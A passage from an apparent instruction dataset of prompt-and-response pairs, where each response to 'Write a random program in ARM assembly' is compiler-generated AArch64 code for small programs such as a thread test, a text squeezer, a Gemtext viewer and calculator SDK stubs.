bl pow
fmov d9, d0
ldr w0, [sp, 56]
scvtf d0, w0
fmov d1, 3.0e+0
bl pow
fadd d9, d9, d0
ldr w0, [sp, 60]
scvtf d0, w0
fmov d1, 3.0e+0
bl pow
fadd d0, d9, d0
fcmp d8, d0
bne .L3
ldr w1, [sp, 44]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
.L3:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L2:
ldr w0, [sp, 44]
cmp w0, 999
ble .L4
mov w0, 0
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.local verbose
.comm verbose,4,4
.section .rodata
.align 3
.LC0:
.string "common_routine (%d)\n"
.text
.align 2
.type common_routine, %function
common_routine:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L2
ldr w1, [sp, 28]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
.L2:
adrp x0, hits.4
add x0, x0, :lo12:hits.4
ldr w0, [x0]
add w1, w0, 1
adrp x0, hits.4
add x0, x0, :lo12:hits.4
str w1, [x0]
ldr w0, [sp, 28]
cmp w0, 2
beq .L3
ldr w0, [sp, 28]
cmp w0, 2
bgt .L4
ldr w0, [sp, 28]
cmp w0, 0
beq .L5
ldr w0, [sp, 28]
cmp w0, 1
beq .L6
b .L4
.L5:
adrp x0, from_main.3
add x0, x0, :lo12:from_main.3
ldr w0, [x0]
add w1, w0, 1
adrp x0, from_main.3
add x0, x0, :lo12:from_main.3
str w1, [x0]
b .L4
.L6:
adrp x0, from_thread1.2
add x0, x0, :lo12:from_thread1.2
ldr w0, [x0]
add w1, w0, 1
adrp x0, from_thread1.2
add x0, x0, :lo12:from_thread1.2
str w1, [x0]
b .L4
.L3:
adrp x0, from_thread2.1
add x0, x0, :lo12:from_thread2.1
ldr w0, [x0]
add w1, w0, 1
adrp x0, from_thread2.1
add x0, x0, :lo12:from_thread2.1
str w1, [x0]
nop
.L4:
adrp x0, from_main.3
add x0, x0, :lo12:from_main.3
ldr w0, [x0]
cmp w0, 0
beq .L8
adrp x0, from_thread1.2
add x0, x0, :lo12:from_thread1.2
ldr w0, [x0]
cmp w0, 0
beq .L8
adrp x0, from_thread2.1
add x0, x0, :lo12:from_thread2.1
ldr w0, [x0]
cmp w0, 0
beq .L8
adrp x0, full_coverage.0
add x0, x0, :lo12:full_coverage.0
mov w1, 1
str w1, [x0]
.L8:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size common_routine, .-common_routine
.section .rodata
.align 3
.LC1:
.string "thread1 (%0lx) ; pid = %d\n"
.align 3
.LC2:
.string "thread1 %ld\n"
.text
.align 2
.type thread1, %function
thread1:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str x0, [sp, 40]
str wzr, [sp, 60]
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L10
ldr x19, [sp, 40]
bl getpid
mov w2, w0
mov x1, x19
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
.L10:
mov w0, 1
str w0, [sp, 56]
b .L11
.L13:
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L12
bl pthread_self
mov x1, x0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
.L12:
ldr w1, [sp, 60]
ldr w0, [sp, 56]
add w0, w1, w0
str w0, [sp, 60]
mov w0, 1
bl common_routine
mov w0, 1
bl sleep
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L11:
ldr w1, [sp, 56]
mov w0, 38528
movk w0, 0x98, lsl 16
cmp w1, w0
ble .L13
mov x0, 0
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size thread1, .-thread1
.section .rodata
.align 3
.LC3:
.string "thread2 (%0lx) ; pid = %d\n"
.align 3
.LC4:
.string "thread2 %ld\n"
.text
.align 2
.type thread2, %function
thread2:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -48
str x0, [sp, 40]
str wzr, [sp, 60]
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L16
ldr x19, [sp, 40]
bl getpid
mov w2, w0
mov x1, x19
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl printf
.L16:
mov w0, 1
str w0, [sp, 56]
b .L17
.L19:
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L18
bl pthread_self
mov x1, x0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
.L18:
ldr w1, [sp, 60]
ldr w0, [sp, 56]
add w0, w1, w0
str w0, [sp, 60]
mov w0, 2
bl common_routine
mov w0, 1
bl sleep
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
.L17:
ldr w1, [sp, 56]
mov w0, 38528
movk w0, 0x98, lsl 16
cmp w1, w0
ble .L19
mov w0, 100
bl sleep
mov x0, 0
ldr x19, [sp, 16]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size thread2, .-thread2
.section .rodata
.align 3
.LC5:
.string "a=%d\n"
.text
.align 2
.global foo
.type foo, %function
foo:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str w0, [sp, 28]
str w1, [sp, 24]
str w2, [sp, 20]
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L23
ldr w1, [sp, 28]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
.L23:
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size foo, .-foo
.section .rodata
.align 3
.LC6:
.string "pid = %d\n"
.align 3
.LC7:
.string "pthread_attr_init 1"
.align 3
.LC8:
.string "pthread_attr_setscope 1"
.align 3
.LC9:
.string "pthread_create 1"
.align 3
.LC10:
.string "Made thread %ld\n"
.align 3
.LC11:
.string "pthread_create 2"
.align 3
.LC12:
.string "top %ld\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 120]
mov x1, 0
str wzr, [sp, 36]
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L25
bl getpid
mov w1, w0
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
.L25:
mov w2, 3
mov w1, 2
mov w0, 1
bl foo
add x0, sp, 56
bl pthread_attr_init
cmp w0, 0
beq .L26
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl perror
mov w0, 1
bl exit
.L26:
add x0, sp, 56
mov w1, 0
bl pthread_attr_setscope
cmp w0, 0
beq .L27
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl perror
mov w0, 1
bl exit
.L27:
add x1, sp, 56
add x4, sp, 40
mov x3, 64206
movk x3, 0xfeed, lsl 16
adrp x0, thread1
add x2, x0, :lo12:thread1
mov x0, x4
bl pthread_create
cmp w0, 0
beq .L28
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl perror
mov w0, 1
bl exit
.L28:
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L29
ldr x0, [sp, 40]
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
.L29:
mov w0, 1
bl sleep
add x4, sp, 48
mov x3, 48879
movk x3, 0xdead, lsl 16
adrp x0, thread2
add x2, x0, :lo12:thread2
mov x1, 0
mov x0, x4
bl pthread_create
cmp w0, 0
beq .L30
adrp x0, .LC11
add x0, x0, :lo12:.LC11
bl perror
mov w0, 1
bl exit
.L30:
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L31
ldr x0, [sp, 48]
mov x1, x0
adrp x0, .LC10
add x0, x0, :lo12:.LC10
bl printf
.L31:
mov w0, 1
bl sleep
mov w0, 1
str w0, [sp, 32]
b .L32
.L34:
adrp x0, verbose
add x0, x0, :lo12:verbose
ldr w0, [x0]
cmp w0, 0
beq .L33
bl pthread_self
mov x1, x0
adrp x0, .LC12
add x0, x0, :lo12:.LC12
bl printf
.L33:
mov w0, 0
bl common_routine
mov w0, 1
bl sleep
ldr w1, [sp, 36]
ldr w0, [sp, 32]
add w0, w1, w0
str w0, [sp, 36]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L32:
ldr w1, [sp, 32]
mov w0, 38528
movk w0, 0x98, lsl 16
cmp w1, w0
ble .L34
mov w0, 0
bl exit
.cfi_endproc
.LFE10:
.size main, .-main
.local hits.4
.comm hits.4,4,4
.local from_main.3
.comm from_main.3,4,4
.local from_thread1.2
.comm from_thread1.2,4,4
.local from_thread2.1
.comm from_thread2.1,4,4
.local full_coverage.0
.comm full_coverage.0,4,4
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
mov w0, 5
str w0, [sp, 40]
b .L2
.L5:
ldr w0, [sp, 40]
str w0, [sp, 44]
b .L3
.L4:
mov w0, 42
bl putchar
ldr w0, [sp, 44]
sub w0, w0, #1
str w0, [sp, 44]
.L3:
ldr w0, [sp, 44]
cmp w0, 0
bgt .L4
mov w0, 10
bl putchar
ldr w0, [sp, 40]
sub w0, w0, #1
str w0, [sp, 40]
.L2:
ldr w0, [sp, 40]
cmp w0, 0
bgt .L5
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
add x0, sp, 24
ldr x2, [x1]
str x2, [x0]
ldr x1, [x1, 6]
str x1, [x0, 6]
add x0, sp, 24
mov w1, 117
bl squeeze
add x0, sp, 24
bl puts
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L3
bl __stack_chk_fail
.L3:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 3
.LC0:
.string "lilei wujunbo"
.text
.align 2
.global squeeze
.type squeeze, %function
squeeze:
.LFB1:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str wzr, [sp, 28]
ldr w0, [sp, 28]
str w0, [sp, 24]
b .L5
.L7:
ldrsw x0, [sp, 24]
ldr x1, [sp, 8]
add x0, x1, x0
ldrb w0, [x0]
mov w1, w0
ldr w0, [sp, 4]
cmp w0, w1
beq .L6
ldrsw x0, [sp, 24]
ldr x1, [sp, 8]
add x1, x1, x0
ldr w0, [sp, 28]
add w2, w0, 1
str w2, [sp, 28]
sxtw x0, w0
ldr x2, [sp, 8]
add x0, x2, x0
ldrb w1, [x1]
strb w1, [x0]
.L6:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L5:
ldrsw x0, [sp, 24]
ldr x1, [sp, 8]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
bne .L7
ldrsw x0, [sp, 28]
ldr x1, [sp, 8]
add x0, x1, x0
strb wzr, [x0]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size squeeze, .-squeeze
.align 2
.global squeeze1
.type squeeze1, %function
squeeze1:
.LFB2:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
str wzr, [sp, 20]
b .L9
.L14:
str wzr, [sp, 24]
b .L10
.L13:
ldrsw x0, [sp, 24]
ldr x1, [sp, 8]
add x0, x1, x0
ldrb w1, [x0]
ldrsw x0, [sp, 20]
ldr x2, [sp]
add x0, x2, x0
ldrb w0, [x0]
cmp w1, w0
bne .L11
ldr w0, [sp, 24]
str w0, [sp, 28]
nop
.L12:
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
ldrsw x0, [sp, 28]
ldr x1, [sp, 8]
add x1, x1, x0
ldrsw x0, [sp, 28]
ldr x2, [sp, 8]
add x0, x2, x0
ldrb w1, [x1]
strb w1, [x0]
ldrb w0, [x0]
cmp w0, 0
bne .L12
b .L10
.L11:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L10:
ldrsw x0, [sp, 24]
ldr x1, [sp, 8]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
bne .L13
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L9:
ldrsw x0, [sp, 20]
ldr x1, [sp]
add x0, x1, x0
ldrb w0, [x0]
cmp w0, 0
bne .L14
nop
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size squeeze1, .-squeeze1
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.type Distortion_ps, %object
.size Distortion_ps, 696
Distortion_ps:
.string "DXBC\311@\032\366$eb\365\nue\303^\215\270V\001"
.string ""
.string ""
.string "\270\002"
.string ""
.string "\005"
.string ""
.string ""
.string "4"
.string ""
.string ""
.string "\334"
.string ""
.string ""
.string "P\001"
.string ""
.string "\204\001"
.string ""
.string "<\002"
.string ""
.string "RDEF\240"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\002"
.string ""
.string ""
.string "\034"
.string ""
.string ""
.string ""
.string "\004\377\377"
.string "\001"
.string ""
.string "k"
.string ""
.string ""
.string "\\"
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "c"
.string ""
.string ""
.string "\002"
.string ""
.string ""
.string "\005"
.string ""
.string ""
.string "\004"
.string ""
.string ""
.string "\377\377\377\377"
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "\r"
.string ""
.string ""
.string "Linear"
.string "Texture"
.string "Microsoft (R) HLSL Shader Compiler 6.3.9600.16384"
.string "\253\253\253ISGNl"
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string "\b"
.string ""
.string ""
.string "P"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\017"
.string ""
.string ""
.string "\\"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "\017\007"
.string ""
.string "b"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string "\002"
.string ""
.string ""
.string "\007\003"
.string ""
.string "SV_Position"
.string "COLOR"
.string "TEXCOORD"
.string "\253OSGN,"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string "\b"
.string ""
.string ""
.string " "
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\017"
.string ""
.string ""
.string "SV_Target"
.string "\253\253SHDR\260"
.string ""
.string ""
.string "@"
.string ""
.string ""
.string ","
.string ""
.string ""
.string "Z"
.string ""
.string "\003"
.string "`\020"
.string ""
.string ""
.string ""
.string ""
.string "X\030"
.string "\004"
.string "p\020"
.string ""
.string ""
.string ""
.string ""
.string "UU"
.string ""
.string "b\020"
.string "\003r\020\020"
.string "\001"
.string ""
.string ""
.string "b\020"
.string "\0032\020\020"
.string "\002"
.string ""
.string ""
.string "e"
.string ""
.string "\003\362 \020"
.string ""
.string ""
.string ""
.string ""
.string "h"
.string ""
.string "\002\001"
.string ""
.string ""
.string "H"
.string ""
.string "\013\362"
.string "\020"
.string ""
.string ""
.string ""
.string ""
.string "F\020\020"
.string "\002"
.string ""
.string ""
.string "F~\020"
.string ""
.string ""
.string ""
.string ""
.string ""
.string "`\020"
.string ""
.string ""
.string ""
.string ""
.string "\001@"
.string ""
.string ""
.string ""
.string ""
.string ""
.string "8"
.string ""
.string "\007r \020"
.string ""
.string ""
.string ""
.string ""
.string "F\002\020"
.string ""
.string ""
.string ""
.string ""
.string "F\022\020"
.string "\001"
.string ""
.string ""
.string "6"
.string ""
.string "\005\202 \020"
.string ""
.string ""
.string ""
.string ""
.string "\001@"
.string ""
.string ""
.string ""
.string "\200?>"
.string ""
.string "\001STATt"
.string ""
.string ""
.string "\004"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\003"
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string "\001"
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
.string ""
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "\033[33m##"
.align 3
.LC1:
.string "\033[34m#%c"
.align 3
.LC2:
.string "\033[35m%c"
.align 3
.LC3:
.string "%i"
.align 3
.LC4:
.string "\033[37m%s\033[0m"
.align 3
.LC5:
.string "\033[31m[%i]"
.align 3
.LC6:
.string "\033[32m"
.align 3
.LC7:
.string "\033[1A"
.align 3
.LC8:
.string "\033[0m"
.text
.align 2
.global printgemtext
.type printgemtext, %function
printgemtext:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
mov w0, 1
str w0, [sp, 44]
str wzr, [sp, 48]
str wzr, [sp, 52]
str wzr, [sp, 56]
str wzr, [sp, 60]
b .L2
.L20:
ldrb w0, [sp, 42]
cmp w0, 35
bne .L4
ldr w0, [sp, 44]
cmp w0, 0
beq .L4
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 43]
ldrb w0, [sp, 43]
cmp w0, 35
bne .L5
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 43]
ldrb w0, [sp, 43]
cmp w0, 35
bne .L6
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
b .L7
.L6:
ldrb w0, [sp, 42]
mov w1, w0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
b .L7
.L5:
ldrb w0, [sp, 42]
mov w1, w0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
.L7:
ldrb w0, [sp, 43]
strb w0, [sp, 42]
.L4:
ldrb w0, [sp, 42]
cmp w0, 42
bne .L8
ldr w0, [sp, 44]
cmp w0, 0
beq .L8
ldr w0, [sp, 56]
add w0, w0, 1
str w0, [sp, 56]
add x3, sp, 64
ldr w2, [sp, 56]
adrp x0, .LC3
add x1, x0, :lo12:.LC3
mov x0, x3
bl sprintf
add x0, sp, 64
mov x1, x0
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl printf
strb wzr, [sp, 42]
b .L9
.L8:
ldr w0, [sp, 44]
cmp w0, 0
beq .L9
str wzr, [sp, 56]
.L9:
ldrb w0, [sp, 42]
cmp w0, 61
bne .L10
ldr w0, [sp, 44]
cmp w0, 0
beq .L10
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 43]
ldrb w0, [sp, 43]
cmp w0, 62
bne .L10
ldr w1, [sp, 60]
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl printf
b .L11
.L13:
nop
.L12:
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 42]
ldrb w0, [sp, 42]
cmp w0, 32
bne .L12
.L11:
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 42]
ldrb w0, [sp, 42]
cmp w0, 32
beq .L13
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
mov w0, 32
bl putchar
.L10:
ldrb w0, [sp, 42]
cmp w0, 62
bne .L3
ldr w0, [sp, 44]
cmp w0, 0
beq .L3
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl printf
.L3:
ldrb w0, [sp, 42]
cmp w0, 96
bne .L14
ldr w0, [sp, 44]
cmp w0, 0
beq .L14
ldr x0, [sp, 24]
bl getc
cmp w0, 96
bne .L14
ldr x0, [sp, 24]
bl getc
cmp w0, 96
bne .L14
mov w0, 1
str w0, [sp, 52]
ldr w0, [sp, 48]
cmp w0, 0
beq .L15
str wzr, [sp, 48]
b .L14
.L15:
mov w0, 1
str w0, [sp, 48]
.L14:
str wzr, [sp, 44]
ldrb w0, [sp, 42]
cmp w0, 10
bne .L16
mov w0, 1
str w0, [sp, 44]
ldr w0, [sp, 52]
cmp w0, 0
beq .L17
str wzr, [sp, 52]
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl printf
.L17:
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl printf
.L16:
ldr w0, [sp, 52]
cmp w0, 0
bne .L2
ldrb w0, [sp, 42]
bl putchar
.L2:
ldr x0, [sp, 24]
bl getc
strb w0, [sp, 42]
ldr w0, [sp, 48]
cmp w0, 0
bne .L3
b .L20
.cfi_endproc
.LFE6:
.size printgemtext, .-printgemtext
.section .rodata
.align 3
.LC9:
.string "r"
.text
.align 2
.global openurl
.type openurl, %function
openurl:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str xzr, [sp, 40]
adrp x0, .LC9
add x1, x0, :lo12:.LC9
ldr x0, [sp, 24]
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size openurl, .-openurl
.align 2
.global main
.type main, %function
main:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str w0, [sp, 28]
str x1, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
str xzr, [sp, 40]
ldr w0, [sp, 28]
cmp w0, 1
bgt .L24
adrp x0, :got:stdin
ldr x0, [x0, #:got_lo12:stdin]
ldr x0, [x0]
str x0, [sp, 40]
b .L25
.L24:
ldr x0, [sp, 16]
add x0, x0, 8
ldr x1, [x0]
add x0, sp, 48
bl strcpy
add x0, sp, 48
bl openurl
str x0, [sp, 40]
.L25:
ldr x0, [sp, 40]
bl printgemtext
ldr x0, [sp, 40]
bl fclose
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 152]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L27
bl __stack_chk_fail
.L27:
mov w0, w1
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "ENOSYS"
.align 3
.LC1:
.string "xyzzy"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
mov w2, 2
mov w1, 1
mov x0, 133
bl syscall
str w0, [sp, 28]
ldr w0, [sp, 28]
cmn w0, #1
bne .L2
bl __errno_location
ldr w0, [x0]
cmp w0, 38
bne .L2
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl puts
.L2:
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl puts
mov w0, 0
bl exit
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global eadk_backlight_set_brightness
.type eadk_backlight_set_brightness, %function
eadk_backlight_set_brightness:
.LFB0:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, 15]
#APP
// 55 "program.c" 1
svc 2
// 0 "" 2
#NO_APP
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size eadk_backlight_set_brightness, .-eadk_backlight_set_brightness
.align 2
.global eadk_backlight_brightness
.type eadk_backlight_brightness, %function
eadk_backlight_brightness:
.LFB1:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 59 "program.c" 1
svc 1 ; mov x4, r0
// 0 "" 2
#NO_APP
strb w4, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size eadk_backlight_brightness, .-eadk_backlight_brightness
.align 2
.global eadk_battery_is_charging
.type eadk_battery_is_charging, %function
eadk_battery_is_charging:
.LFB2:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 63 "program.c" 1
svc 3 ; mov x4, r0
// 0 "" 2
#NO_APP
strb w4, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size eadk_battery_is_charging, .-eadk_battery_is_charging
.align 2
.global eadk_battery_level
.type eadk_battery_level, %function
eadk_battery_level:
.LFB3:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 67 "program.c" 1
svc 4 ; mov x4, r0
// 0 "" 2
#NO_APP
strb w4, [sp, 15]
ldrb w0, [sp, 15]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE3:
.size eadk_battery_level, .-eadk_battery_level
.align 2
.global eadk_battery_voltage
.type eadk_battery_voltage, %function
eadk_battery_voltage:
.LFB4:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
#APP
// 71 "program.c" 1
svc 5 ; vmov x4, s0
// 0 "" 2
#NO_APP
str w4, [sp, 12]
ldr s0, [sp, 12]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE4:
.size eadk_battery_voltage, .-eadk_battery_voltage
.align 2
.global eadk_display_push_rect
.type eadk_display_push_rect, %function
eadk_display_push_rect:
.LFB5:
.cfi_startproc
sub sp, sp, #16
